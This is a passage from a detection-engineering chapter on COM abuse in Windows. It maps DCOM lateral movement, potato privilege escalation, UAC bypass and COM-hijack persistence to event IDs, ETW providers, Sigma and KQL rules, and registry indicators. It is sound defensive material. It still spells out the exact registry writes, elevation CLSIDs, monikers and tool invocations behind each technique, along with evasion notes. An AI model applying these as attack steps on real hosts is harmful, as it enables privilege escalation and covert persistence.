77 KiB
07 · Detection Engineering & Blue-Team Coverage
Audience / level: Red team operators who need to know exactly what a defender sees when a COM technique fires, and detection engineers building coverage for COM abuse; ramps from "which event log has this" to cross-source hunt queries and evasion tradeoffs. Prerequisites: chapters 01–06 of this series (or working knowledge of COM activation, DCOM remoting, and the registry layout); Sysmon and Windows event-log basics. Estimated reading time: 90–120 minutes. After this chapter you will be able to map every COM attack family in this book to its concrete telemetry — exact event IDs, ETW provider GUIDs, Sigma/Splunk/Elastic rule names, registry artifacts, and wire indicators — and use that map to test detections, tune rules, and reduce operational noise.
Contents
- 1. Why COM Detection Is Hard
- 2. Telemetry Sources Primer
- 3. Detecting DCOM Lateral Movement
- 4. Detecting COM Privilege Escalation
- 5. Detecting UAC Bypass
- 6. Detecting COM Persistence
- 7. Detecting Execution & Relay Abuse
- 8. The Layered Coverage Matrix
- 9. Evasion Notes for Red Teamers
- 10. Mitigations & Hardening Master List
- Research Lab: Detection-Engineering Your Own COM Research
- References
1. Why COM Detection Is Hard
COM abuse is a living-off-the-land discipline. The execution vehicles are Microsoft-signed binaries that already exist on the host — mmc.exe, explorer.exe, EXCEL.EXE, dllhost.exe, regsvr32.exe → scrobj.dll — and the activation infrastructure is the same RPC plumbing legitimate administration uses. A DCOM lateral-movement chain creates no service (no System event 7045), no scheduled task, no new listening port, and needs no ADMIN$ share for the pure PowerShell/C# primitives; it produces a logon event indistinguishable from normal admin activity ([11], [12]). Persistence is worse: a COM hijack lives entirely in the registry (the per-user hive NTUSER.DAT / UsrClass.dat), is re-read at every logon, and its trigger is normal system activity — a signed Microsoft process such as explorer.exe or taskhostw.exe does the LoadLibrary of the attacker DLL ([34], [35]).
Beginner note: Living off the land means executing attacker logic through binaries, scripts, and registry structures that ship with the OS, so that signature- and reputation-based controls see only trusted code. Detection has to shift from "what ran" (the binary is always legitimate) to "in what context did it run" (parentage, command line, registry state, wire shape). That context is what this chapter catalogs.
The research behind chapters 02–06 surfaces a specific set of visibility gaps. Each is a place where default telemetry is silent or degraded:
- Autoruns misses most COM hijacks. Sysinternals Autoruns enumerates only specific COM categories; it does not diff the full
HKCU\Software\Classes\CLSIDtree against HKLM, so the classic per-user CLSID shadow is invisible in default views. Even when a Run-key launcher is used (rundll32.exe -sta {CLSID}), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive ([35]). See section 6. - Raw RPC ETW lacks the remote IP. The
Microsoft-Windows-RPCprovider reports interface UUID, opnum, protocol, and endpoint — but not the peer address that would tie an inboundRemoteCreateInstanceto a specific workstation. This is the documented Zero Networks gap that the RPC Firewall exists to close; its log event 3 carries UUID, opnum, source IP, and principal per call ([5], [6], [7]). See section 2.4. - Sysmon event 8 (
CreateRemoteThread) does not fire. COM-based code injection — type-confusion PPL injection,IRundown::DoCallback, trapped-COMAssembly.Load— executes inside the target without thread creation, allocation APIs, or ROP. Treat EID 8 coverage as blind to this class ([37]). - AMSI coverage is conditional. Scriptlet content is scanned (JScript/VBScript engines, WSH), and PowerShell DCOM one-liners are fully logged via script-block logging (event 4104) — but the network fetch of a scriptlet is not scanned, DotNetToJScript output defaults to CLR v2 which has no AMSI hook, and the native stages of type-confusion/trapped-COM chains contain no script content at all ([41], [42], [43], [44]). See section 7.2.
- DistributedCOM 10016 is background noise. Machine-default launch/access denials log the 10015/10016 family constantly on unpatched estates, training analysts to ignore the channel — even though the same channel carries genuine probing signal (section 3.4) and the KB5004442 hardening events 10036–10038 ([8], [9]).
- The strongest execution contexts are the least observable. A trapped-COM chain runs fileless inside a PPL
svchostas SYSTEM — a process class many EDR sensors cannot introspect — with registry values as the only disk artifacts ([37], [38]).
Key idea: You cannot reliably detect a COM technique (there are too many, all riding signed code); you detect the seams every technique must cross — a process-lineage anchor (
svchost -k DcomLaunchspawning a server), a registry seam (a HKCU shadow, aTreatAs, aScriptletURL), a wire seam (TCP 135 + dynamic ports, cleartextIDispatchmethod strings), or a token seam (a High-IL child with noconsent.exe). Sections 3–7 are organized by attack family; section 8 re-organizes the same data by seam.
2. Telemetry Sources Primer
This section is the reference layer for the rest of the chapter: every source the briefs attest, with its exact identifiers. Later sections cite these IDs without re-explaining them.
Beginner note: Sysmon (System Monitor) is a free Microsoft driver/service that logs structured operational events (process, network, file, registry, pipe, DNS) to
Microsoft-Windows-Sysmon/Operational; event quality depends entirely on the deployed config — community baselines are SwiftOnSecurity'ssysmon-configand Olaf Hartong'ssysmon-modular([46], [47]). ETW (Event Tracing for Windows) is the kernel-integrated telemetry bus underneath; security tools subscribe to named providers identified by GUID. Security event log IDs (4xxx/5xxx) come from audit policy, not Sysmon.
2.1 Sysmon events
| EID | Type | COM signal it carries (attested uses) |
|---|---|---|
| 1 | Process creation | Lineage anchors: svchost.exe -k DcomLaunch → mmc.exe -Embedding, EXCEL.EXE /automation -Embedding, DllHost.exe /Processid:{AppID}; second-generation mmc.exe/explorer.exe/EXCEL.EXE → cmd.exe; regsvr32 /i: + URL + scrobj.dll; PowerShell with GetTypeFromCLSID/GetTypeFromProgID/Activator]::CreateInstance/ExecuteShellCommand/ShellExecute/DDEInitiate; IntegrityLevel + ParentImage fields for UAC chains ([1], [2], [14], [15]) |
| 3 | Network connection | Inbound TCP 135 to svchost + dynamic high port; regsvr32 outbound HTTP/S (near-zero false positives); unexpected egress from mmc/excel/dllhost = beacon ([12], [14]) |
| 7 | Image load | scrobj.dll inside regsvr32; .xll/unknown DLL into EXCEL.EXE; wshom.ocx; iertutil.dll from non-system path; clr.dll/clrjit.dll/mscoree.dll inside dllhost/svchost/mmc/explorer (DotNetToJScript and trapped COM); hijack DLLs outside System32 in explorer/svchost/taskhostw ([15], [35]) |
| 8 | CreateRemoteThread | Evasion gap: COM injection mostly does not trip this event — do not rely on it for COM coverage (section 7) |
| 10 | Process access | Handle/token duplication into known UAC-bypass binaries (fodhelper, eventvwr, computerdefaults, sdclt, slui, mmc, wsreset, pkgmgr) ([28]) |
| 11 | File create | .sct drops; mobsync.exe/.ppam/.xlsm staging via ADMIN$; mock trusted directories (paths with trailing spaces); %TEMP%\{GUID}\dismhost staging; windowscoredeviceinfo.dll/SprintCSP.dll/printconfig.dll written to System32 ([13], [50], [51]) |
| 12 | Registry key create/delete | Keys under HKCU\Software\Classes\CLSID\{...}, ...\TypeLib\{...}, HKU\<SID>_Classes\* ([16], [17]) |
| 13 | Registry value set | InprocServer32/LocalServer32/TreatAs/ProgID/ScriptletURL writes; UAC shell-association keys (ms-settings, mscfile, Folder, AppX82a6...); HKLM\SOFTWARE\Classes\AppID\{...}\RunAs (RemoteMonologue); HKLM\SOFTWARE\Microsoft\Ole\AppCompat\* (hardening tamper); AllowDCOMReflection/OnlyUseLatestCLR; LmCompatibilityLevel; LaunchPermission tampering ([16], [17], [18], [39]) |
| 14 | Registry key/value rename | Rename-based staging of COM hijack keys ([16]) |
| 17/18 | Pipe created/connected | Potato-family named pipes: \\.\pipe\roguepotato\pipe\epmapper, \\.\pipe\*\pipe\spoolss; mscorsvw marshaling pipes ([52], [53]) |
| 22 | DNS query | regsvr32 resolving scriptlet hosts ([14]) |
2.2 Security and other Windows event logs
| Event | Source/log | COM signal |
|---|---|---|
| 4624 Type 3 | Security | Network logon on the target from DCOM activation (NTLM with IP targets; Kerberos adds 4768/4769); also Type 9 (NewCredentials) from the JuicyPotatoNG LogonUser trick ([11], [54]) |
| 4625 | Security | Failed logons accompanying DCOM probing |
| 4648 | Security | Explicit-credential logon on the source host (dcomexec with cleartext creds) ([12]) |
| 4672 | Security | Special privileges assigned — admin-grade DCOM logon on target |
| 4688 | Security | Process creation with command line (mirror of Sysmon 1, needs audit policy + command-line auditing) |
| 4657/4663 | Security | Registry value modification / object access — requires SACLs on Software\Classes\AppID, CLSID, TypeLib keys |
| 5156/5158 | Security (WFP) | Windows Filtering Platform connection events — covers 135/dynamic-port flows but very noisy |
| 5712 | Security | RPC interface filtering event — the briefs flag it as unreliable; use RPC Firewall instead ([6]) |
| 4104 | PowerShell Operational | Script-block logging: catches GetTypeFromCLSID, ExecuteShellCommand one-liners verbatim ([21], [22]) |
| 8004 | AppLocker | Blocked execution events when scriptlet/child-process rules deny a COM chain ([15]) |
| Audit DCOM Activity | Security (subcategory) | Native DCOM audit subcategory; powerful but rarely enabled — enable on critical servers |
2.3 DistributedCOM events (System log)
| Event | Meaning | Detection use |
|---|---|---|
| 10006 / 10016 | Launch/access denied (machine or AppID ACL) | Probing indicator: a principal enumerating or attempting activations it lacks rights for ([11]) |
| 10009 / 10028 | DCOM communication/unreachable-server errors | Failed activation attempts; useful in correlation, noisy alone |
| 10010 | Server "did not register with DCOM within the required timeout" | Abandoned-binary hijack (mobsync.exe pattern): the planted payload runs but never registers — client sees 0x80080005, target logs 10010 ([13]) |
| 10015 / 10016 | E_ACCESSDENIED at activation (launch gate) |
The classic "DistributedCOM 10016" log noise — baseline it, then alert on new SID/CLSID pairs |
| 10036 | Server-side refusal: activation below RPC_C_AUTHN_LEVEL_PKT_INTEGRITY floor — logs user/SID/client IP |
KB5004442-era content; prime source for spotting legacy-tool or relay-flavored activation attempts ([8], [9], [10]) |
| 10037 / 10038 | Client-side events: local client below the required authentication level | Same hardening family, on the initiating host ([8], [9]) |
2.4 ETW providers (exact GUIDs)
| Provider | GUID | Detection use |
|---|---|---|
| Microsoft-Windows-RPC (Debug) | {6AD52B32-D609-4BE9-AE07-CE8DAE937E39} |
EID 5/6 RPC client/server call start: InterfaceUuid, OpNum, Protocol, Endpoint — the core ORPC lens ([5]) |
| Microsoft-Windows-RPC-Events | {F4AED7C7-A898-4627-B053-44A7CAA12FCD} |
RPC operational channel |
| Microsoft-Windows-RPCSS | {D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C} |
RPCSS/DcomLaunch hosting events |
| Microsoft-Windows-COMRuntime | {BF406804-6AFA-46E7-8A48-6C357E1D6D61} |
COM activation/runtime tracing (verbose; enable in labs, sample in production) |
| Microsoft-Windows-COM-Perf | {B8D6861B-D20F-4EEC-BBAE-87E0DD80602B} |
COM performance counters |
| Microsoft-Windows-COM-RundownInstrumentation | {2957313D-FCAA-5D4A-2F69-32CE5F0AC44E} |
Rundown/state capture |
| Microsoft-Windows-DotNETRuntime | {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} |
Assembly loads/JIT inside COM hosts (wscript, dllhost, svchost) — catches DotNetToJScript and trapped-COM Assembly.Load even when AMSI is bypassed ([42], [43]) |
| Microsoft-Windows-Threat-Intelligence | {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} |
Injection-style memory behavior; consumers must run as PPL ([37]) |
Interface UUIDs worth keying RPC ETW (EID 5/6) and RPC Firewall rules on: IRemoteSCMActivator {4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}, ISystemActivator {000001A0-0000-0000-C000-000000000046}, IObjectExporter/IOXIDResolver {99FCFEC4-5260-101B-BBCB-00AA0021347A}, IRemUnknown {00000131-0000-0000-C000-000000000046}, IRemUnknown2 {00000143-0000-0000-C000-000000000046} ([5], [6]). Chain-context interfaces for coercion hunting: MS-EFSR {C681D488-D850-11D0-8C52-00C04FD90F7E}, MS-RPRN {AE33069B-A2A8-46EE-A235-DDFD339BE281} / {12345678-1234-ABCD-EF00-0123456789AB}.
The RPC Firewall (Zero Networks) is the compensating control for the missing-remote-IP gap: it mediates RPC calls and logs per-call UUID, opnum, source IP, and principal in its own event 3; the Sigma rule Remote DCOM/WMI Lateral Movement (68050b10-e477-4377-a99b-3721b422d6ef) keys on it ([6], [7]).
2.5 Network telemetry
DCOM activation has a fixed wire shape: short-lived TCP 135 (endpoint mapper) to the target's svchost, then method calls over a dynamic high port (49152–65535 on Vista+, 1024–5000 legacy) negotiated by OXID resolution (IObjectExporter::ResolveOxid2) ([11], [12]). Concrete network signals:
- Workstation-to-workstation TCP 135 is high-fidelity — legitimate DCOM flows (SCCM, backup, OPC, AV management) come from known management hosts.
- DCE/RPC content: activation calls
RemoteGetClassObject/RemoteCreateInstanceon 135;IDispatch::GetIDsOfNamesmethod-name strings (ShellExecute,ExecuteShellCommand) andInvokearguments traverse the wire in cleartext at Packet-Integrity authentication — only Packet Privacy encrypts payloads ([11], [12]). Zeekdce_rpcand Suricata decode these. MEOW: the OBJREF signature (0x574F454D) of every marshaled interface pointer is trivially greppable in packet captures and memory.- Egress from
mmc.exe/EXCEL.EXE/dllhost.exeto rare destinations is beacon-shaped (Sysmon 3 / NetFlow).
Warning (brief discrepancy): the R2 brief documents the activation interface
ISystemActivator/IRemoteSCMActivatoropnums as 3 (RemoteGetClassObject) and 4 (RemoteCreateInstance); the R1 brief's wire-sequence notes sayRemoteCreateInstanceis opnum 6. R6 does not settle it. Opnum numbering shifts with interface inheritance (IRemoteSCMActivatorvs itsISystemActivatorderivative) — verify against your own decoder/RPC Firewall before hard-coding opnum filters.
3. Detecting DCOM Lateral Movement
The chapter-02 attack family (T1021.003 / T1559.001) is the best-instrumented COM abuse class: it crosses every seam — lineage, logon, wire, and (when hardened) the DistributedCOM log. Coverage below is per-layer.
3.1 Process lineage (Sysmon 1 / Security 4688)
Every remote-activation object leaves a two-generation signature: svchost.exe -k DcomLaunch spawns the COM server, and the payload spawns from that server. The lineage table doubles as a "which object did they use" fingerprint:
| Object | First generation (parent → server) | Second generation (payload parent) | Distinguishing artifact |
|---|---|---|---|
MMC20.Application {49B2791A-B1AE-4C90-9B8E-E860BA07F889} |
svchost -k DcomLaunch → mmc.exe -Embedding |
mmc.exe → cmd/powershell |
Command line split into program/args; window state "7" ([11]) |
ShellWindows {9BA05972-F6A8-11CF-A442-00A0C90A8F39} |
none — piggybacks the running explorer.exe (no new COM host) |
explorer.exe → payload |
Requires an interactive session; default object in impacket dcomexec ([12], [61]) |
ShellBrowserWindow {C08AFD90-F2A1-11D1-8455-00A0C91F3880} |
none/new explorer.exe if no window exists |
explorer.exe → payload |
Win10/2012R2+ only; Navigate/Navigate2 variant ([61]) |
| Excel.Application (5 primitives) | svchost -k DcomLaunch → EXCEL.EXE /automation -Embedding |
EXCEL.EXE → cmd/XLL/macro |
/automation -Embedding is a strong artifact; Sysmon 7 for .xll loads; XLM/shellcode variants from the MDSec C# work ([62], [63]) |
Outlook.Application {0006F03A-0000-0000-C000-000000000046} |
svchost → OUTLOOK.EXE -Embedding |
in-process shellcode via ScriptControl | wshom.ocx image load if Wscript.Shell variant used ([61]) |
| Surrogate-hosted classes | svchost → DllHost.exe /Processid:{AppID} |
per technique | Anomalous /Processid: values are reviewable ([12]) |
Abandoned binary (mobsync) {C947D50F-378E-4FF6-8835-FCB50305244D} |
planted binary at the registered path | payload process itself | Sysmon 11 ADMIN$ write + DistributedCOM 10010 ([13]) |
Warning (brief discrepancy): the R2 brief identifies Excel.Application by CLSID
{00020812-0000-0000-C000-000000000046}while R6's execution-objects table uses{00024500-0000-0000-C000-000000000046}. Per the R6-preference rule, treat{00024500-...}as canonical — and verify against the target's registry before hard-coding any CLSID filter.
Key idea: Office COM servers running non-interactively on servers are approximately zero-false-positive — no legitimate workflow activates
Excel.Applicationover DCOM on a server. The Sigma SharpMove rule (proc_creation_win_hktl_sharpmove) and the FalconFriday 0xFF05 analytic cover this layer; note FalconFriday's own caveat that/automation -Embeddingalone is noisy on workstations and must be correlated with lineage and network ([1], [2]).
3.2 The Sigma MMC20 rule
The canonical lineage rule — MMC20 Lateral Movement, id f1f3bf22-deb2-418d-8cce-e1a45e46a5bd, level high ([1]):
# Condensed selection logic of Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd [1]
detection:
selection:
ParentImage|endswith: '\svchost.exe'
Image|endswith: '\mmc.exe'
CommandLine|contains: '-Embedding'
It fires on the first generation only. Pair it with a second-generation rule (mmc.exe → cmd.exe/powershell.exe) and with the Splunk analytics Remote Process Instantiation via DCOM and PowerShell (d4f42098-4680-11ec-ad07-3e22fbd008af), its Script Block variant (fa1c3040-4680-11ec-a618-3e22fbd008af, keys on 4104 content), Mmc LOLBAS Execution Process Spawn (f6601940-4c74-11ec-b9b7-3e22fbd008af), and Possible Lateral Movement PowerShell Spawn (22282a2d-dc19-4b88-ac61-6c86ff92904f) ([21], [22], [23], [24]). Elastic ships the prebuilt network rule Incoming DCOM Lateral Movement with MMC ([20]).
3.3 Network layer
- Inbound 135 → short-lived epmap conversation → dynamic high port carrying the actual method calls (section 2.5). Workstation-to-workstation 135 is high-fidelity; restrict and alert ([12]).
- Wire content:
GetIDsOfNames/InvokewithShellExecute/ExecuteShellCommandstrings and full command lines in cleartext at Packet Integrity — signature-able in Zeek/Suricata without decryption ([11]). - impacket
dcomexecleaves a forensic regex in its semi-interactive output redirect:\\__[0-9]{10}\.[0-9]{6,7}\s2>&1(the\\127.0.0.1\ADMIN$\__<epoch>.<ms>write-back file) — misthi0s' hunting signature ([3], [12]). - Microsoft Defender for Identity raises Remote code execution attempt for MMC20/ShellWindows patterns ([11]).
3.4 Windows events and KB5004442-era content
- 4624 Type 3 on the target (NTLM when the target is addressed by IP; Kerberos 4768/4769 when by name), 4648 on the source for explicit creds, 4672 for privileged logons. DCOM is always authenticated, so the logon is guaranteed — it just looks like normal admin activity unless correlated with lineage and 135 flows ([11], [12]).
- DistributedCOM 10006/10016 (denials) = probing of objects whose AppID ACLs exclude the caller; 10010 = the mobsync/abandoned-binary pattern (server never registers) ([13]).
- KB5004442 hardening events double as detection content: 10036 (server-side refusal below
RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, logging user/SID/client IP), 10037/10038 (client-side). Relay-era tooling and legacy clients trip these; authenticated admin DCOM at the floor does not — KB5004442 kills unauthenticated/relay paths, not credentialed lateral movement ([8], [9], [10]). - Audit DCOM Activity subcategory: rarely enabled, worth enabling on servers ([11]).
3.5 Hunt queries and attack-path modeling
The MDE KQL form of the lineage anchor ([15]):
// DCOM lateral movement — COM servers spawned by DcomLaunch
DeviceProcessEvents
| where InitiatingProcessFileName =~ "svchost.exe"
| where InitiatingProcessCommandLine has "DcomLaunch"
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")
BloodHound models the same surface as the ExecuteDCOM edge — collect it and review which principals hold effective DCOM launch rights over which hosts; every edge is both an attack path and a detection scope (where to watch 135 + lineage) ([4]). Validate coverage by running the Atomic Red Team T1021.003 tests and confirming each layer fires ([45]).
4. Detecting COM Privilege Escalation
Chapter 03 splits into two detection problems: the potato family (DCOM used as a trigger to force a privileged server to authenticate to the attacker) and trapped-COM/IDispatch chains (registry seams + CLR reflection into privileged, sometimes protected, processes).
4.1 Potato-family artifacts
All potatoes share a prerequisite that is itself a detection pivot: the attacker runs as a service account holding SeImpersonatePrivilege and/or SeAssignPrimaryTokenPrivilege (IIS AppPool, MSSQL, LOCAL/NETWORK SERVICE). A service account performing DCOM activation of a SYSTEM-authenticating class is anomalous in itself — baseline which service accounts ever activate BITS ({4991D34B-80A1-4291-83B6-3328366B9097}), PrintNotify ({854A20FB-2D44-457D-992F-EF13785D2B51}), AxInstSv ({90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}), or McpManagementService ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) ([52], [54], [64]).
| Tool | COM trigger | Unique artifacts to key on | Primary telemetry |
|---|---|---|---|
| RottenPotato / JuicyPotato (≤ Win10 1803) | CoGetInstanceFromIStorage with BITS CLSID {4991D34B-80A1-4291-83B6-3328366B9097} (Juicy: arbitrary -c CLSID) |
Local COM listener on an attacker-chosen port (-l); byte-relay to real OXID resolver on 135 |
Sysmon 3 loopback/listen anomalies; RPC ETW on IObjectExporter |
| RoguePotato (Win10 1809+/Server 2019+) | BITS CLSID; IStorage bindings at a remote attacker IP |
Fake OXID resolver (port 9999 local or socat 135 redirect); forged ResolveOxid2 returning endpoint string localhost/pipe/roguepotato[\pipe\epmapper] → rpcss connects to \\.\pipe\roguepotato\pipe\epmapper |
Sysmon 17/18 (pipe create/connect); outbound 135 to non-management hosts ([52]) |
| JuicyPotatoNG | PrintNotify CLSID {854A20FB-2D44-457D-992F-EF13785D2B51}, COM-server port 10247 |
LogonUser type 9 (NewCredentials) to add INTERACTIVE → Security 4624 logon type 9 from a service account; SSPI hook on AcceptSecurityContext |
4624 Type 9 + DCOM activation correlation; port 10247 listeners ([54]) |
| GodPotato / DCOMPotato / PrintNotifyPotato | Service DCOM objects; attacker IUnknown callback impersonated via CoImpersonateClient |
Variants named PrinterNotifyPotato.exe / McpManagementPotato.exe (CLSID {A9819296-...}); callback QueryInterface impersonation |
Same service-account-activation pivot; RPC ETW |
| LocalPotato (CVE-2023-21746) | PrintNotify / AxInstSv / McpManagementService CLSIDs; fake resolver (default port 10271) returns SPN cifs/127.0.0.1 |
Parallel rogue client against local SMB 127.0.0.1:445 (context swap); weaponization writes SprintCSP.dll/printconfig.dll to System32 |
Sysmon 11 (System32 writes by service accounts); SMB loopback anomalies ([64]) |
| RogueWinRM | BITS trigger (same service family) | Unprivileged process binding TCP 5985; BITS → HTTP NTLM to 127.0.0.1:5985 |
Sysmon 3 (bind on 5985 by non-SYSTEM) |
| PrintSpoofer | Not COM (MS-RPRN) — include for pipe telemetry parity | Printer name \\HOSTNAME/pipe/foo normalized to \\.\pipe\foo\pipe\spoolss; spooler (SYSTEM) connects to attacker pipe |
Sysmon 17/18 on *\pipe\spoolss suffixes from non-spooler processes ([53]) |
4.2 Trapped-COM artifacts (Forshaw 2025 / IBM ForsHops)
The fileless chain (local or remote) has exactly four disk/registry seams, all high-fidelity because none appear in normal operations ([37], [38]):
TreatAson the StdFont CLSID —HKLM\SOFTWARE\Classes\CLSID\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\TreatAsredirected at the .NETSystem.Objectclass (per-userHKCUvariant exists for the no-admin path)..NETFrameworkreflection values —AllowDCOMReflection = 1andOnlyUseLatestCLR = 1under(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework(the former re-enables .NET DCOM reflection disabled since MS14-009).- CLR load inside the medic service —
clr.dll/clrjit.dll/mscoree.dllimage loads inside theWaaSMedicSvcsvchost(a PPL,PsProtectedSignerWindows-Light) — visible in Sysmon 7 / MDE image-load even though the host is protected. - YARA strings (Samir Bousseaden's guidance, per the brief): the WaaSRemediation CLSID
{72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}and{34050212-8AEB-416D-AB76-1E45521DB615}in tool binaries/scripts — ForsHops (forshops.exe [target] [c:\path\to\assembly]) and ComDotNetExploit-class PoCs carry them ([38]).
Hunt-query form ([15]):
// Trapped COM artifacts
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1
// CLR in COM hosts
DeviceImageLoadEvents
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")
OpSec: Microsoft classifies the trapped-COM class as not a security-boundary violation (admin→PPL is not defended) and shipped no CVE — meaning there is no patch to wait for and detection is the only control. The Outflank follow-up (LLM-assisted enumeration of alternative
IDispatchclasses that avoid the CLR-load limitation) removes signal 3, leaving the registry seams 1–2 as the durable indicators ([38], [56]).
4.3 Weaponization-primitive artifacts (DiagHub / USO lineage)
These primitives recur across exploit chains, so their artifacts are reusable content: DiagHub AddAgent loading a DLL dropped over a non-TrustedInstaller System32 file (the license.rtf overwrite → load as SYSTEM pattern) shows as Sysmon 11 + 7 with DiagnosticsHub.StandardCollector.Service.exe as the loading process ([67]); the USO trick writes C:\Windows\System32\windowscoredeviceinfo.dll (a DLL that does not exist on clean systems) and triggers a scan via usoclient.exe StartScan — Sysmon 11 plus the usoclient command line ([66]). Microsoft killed both (19H1 ProcessImageLoadPolicy on DiagHub; later Insider hardening for USO), so presence of these artifacts on current builds also flags a legacy-target inventory problem.
5. Detecting UAC Bypass
Chapter 04's family (T1548.002) is registry-first: nearly every technique writes a per-user association or environment value at Medium IL, then launches an auto-elevating Microsoft binary that consumes it. The telemetry stack is Sysmon 1 (with IntegrityLevel and ParentImage), 7, 10, 11, 12/13, plus Security 4688 and 4657/4663 registry auditing ([25], [28], [49]).
5.1 Registry-write IOCs (Sysmon 12/13 — high fidelity)
| Key / value | Technique |
|---|---|
HKCU\Software\Classes\ms-settings\Shell\Open\command — (Default) = payload, DelegateExecute emptied |
fodhelper.exe, computerdefaults.exe, slui.exe family ([25]) |
HKCU\Software\Classes\mscfile\shell\open\command |
eventvwr.exe → mmc.exe eventvwr.msc ([30], [65]) |
HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe |
legacy sdclt.exe App Paths wave |
HKCU\Software\Classes\Folder\shell\open\command |
sdclt.exe isolated-command waves (also WarzoneRAT persistence) |
HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\Open\command + empty DelegateExecute |
WSReset.exe ([26]) |
HKCU\Software\Classes\CLSID\{...}\InprocServer32 (handler redirect against mmc/recdisc) |
COM handler hijack elevation |
HKCU\Environment — windir, COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH |
SilentCleanup %windir% expansion; .NET profiler DLL into auto-elevated managed binaries ([27]) |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System — EnableLUA→0, ConsentPromptBehaviorAdmin→0, PromptOnSecureDesktop→0 |
UAC weakening (needs prior admin = post-exploitation signal) |
HKLM\...\Image File Execution Options\<exe> — VerifierDlls |
AppVerifier/IFEO DLL into elevated processes |
5.2 CLSID/IID watchlist and the elevation-moniker artifact
Elevated-COM abuse is detectable by the objects it instantiates and the strings it carries ([49]):
CLSID_CMSTPLUA{3E5FC7F9-9A51-4367-9063-A120244FBEC7}+IID_ICMLuaUtil{6EDD6D74-C007-4E75-B76A-E5740995E24C}(ShellExec) — the workhorse. Process artifact: the elevated child spawns underDllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}(the surrogate hosting the elevated class) ([49]).CLSID_FileOperation{3AD05575-8857-4850-9277-11B85BDB8E09}— privileged copy primitive; watch Medium-IL processes creating files inside%SystemRoot%\System32(Sysmon 11 with integrity-level context) as the arming step of every DLL-hijack method.- ElevatedFactoryServer
{A6BFEA43-501F-456F-A845-983D3AD7B8F0}/IElevatedFactoryServer{804BD226-AF47-4D71-B492-443A57610B08}→ Task Scheduler{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}— fileless SYSTEM via task XML. - The moniker string
Elevation:Administrator!new:in command lines, scripts, and binaries — often stored reversed or XORed in loaders ([49]).
5.3 Behavioral patterns (the near-zero-FP set)
Per the R4 brief's hunting set, ordered by fidelity:
- High-IL child of an auto-elevate binary —
cmd/powershell/payload in user paths whose parent isfodhelper,computerdefaults,eventvwr→mmc,sdclt,wsreset(Splunk FodHelper UAC Bypass, Windows UAC Bypass Suspicious Child Process) ([25], [29]). - Registry write → matching System32 binary within seconds — the automated chain shape (Splunk WSReset UAC Bypass; SigmaHQ ships per-technique
registry_setrules) ([15], [26]). HKCU\Environmentwrites ofwindir/COR_PROFILER_PATH+schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup(Splunk .NET Profiler UAC bypass) ([27]).- Execution paths containing trailing spaces (
C:\Windows \System32\...) — mock trusted directories; SentinelOne's recommended alert for the DBatLoader/Remcos chain, mirrored by the Sigma TrustedPath UAC Bypass Pattern ([50], [51]). - Image loads of the hijack-DLL name set (
cryptbase,ntwdblib,dbgcore,atl,mscoree,netutils,dismcore,wow64log,BluetoothDiagnosticUtil, ...) from non-System32 locations by elevated Microsoft-signed processes (Sysmon 7) ([49]). - Silent elevation — elevation events with no
consent.exeon the wire, plusElevation:Administrator!new:strings ([49]). - Handle duplication into known UAC-bypass binaries (Sysmon 10) — Splunk Windows Handle Duplication in Known UAC-Bypass Binaries ([28]).
Validation tooling: Atomic Red Team T1548.002 tests (fodhelper, eventvwr, sdclt, WSReset, SilentCleanup, CMSTPLUA, .NET profiler) and UACME Akagi itself for range work ([45], [49]).
6. Detecting COM Persistence
Chapter 05's family (T1546.015) is a registry-diff problem: the hijack persists as a per-user shadow of a machine registration, and every variant touches one of five seams — InprocServer32, LocalServer32, TreatAs, ProgID, or TypeLib ([34], [35]).
6.1 Registry telemetry targets (Sysmon 12/13/14)
| Path pattern | Variant |
|---|---|
HKU\<SID>_Classes\CLSID\* and HKU\<SID>\Software\Classes\CLSID\* — InprocServer32, LocalServer32, TreatAs, ScriptletURL, ProgID |
Classic CLSID shadow ([16]) |
HKU\<SID>_Classes\TypeLib\*\0\win32 / win64 |
TypeLib hijack ([31]) |
HKU\<SID>\Software\Classes\mscfile\shell\open\command, *\Folder\shell\open\command (+ DelegateExecute) |
Association crossover with the UAC family ([30]) |
32-bit reflection: HKCU\Software\Classes\Wow6432Node\CLSID\... |
Office/Outlook hijacks on 64-bit Windows |
High-signal heuristics from the brief ([16], [20], [35]):
InprocServer32(Default)pointing outside%SystemRoot%\System32/Program Files→ user-writable paths.- HKCU CLSID shadowing an HKLM CLSID with a different server path (requires a baseline diff — the Elastic prebuilt rule
persistence_suspicious_com_hijack_registry.tomlimplements exactly this) ([19]). - Registered server path whose file does not exist (phantom/orphan) — see 6.3.
TreatAswritten by a non-svchost/non-Office process; anyScriptletURLkey creation (rare legitimately — "detection gold") ([17], [18], [35]).TypeLibvalues containingscript:,http:, orhttps:— per the brief, "almost certainly malicious"; pair withscrobj.dllimage loads in non-script hosts andreg.execommand lines containingTypeLib+script([31]).- Process/cmdline indicators:
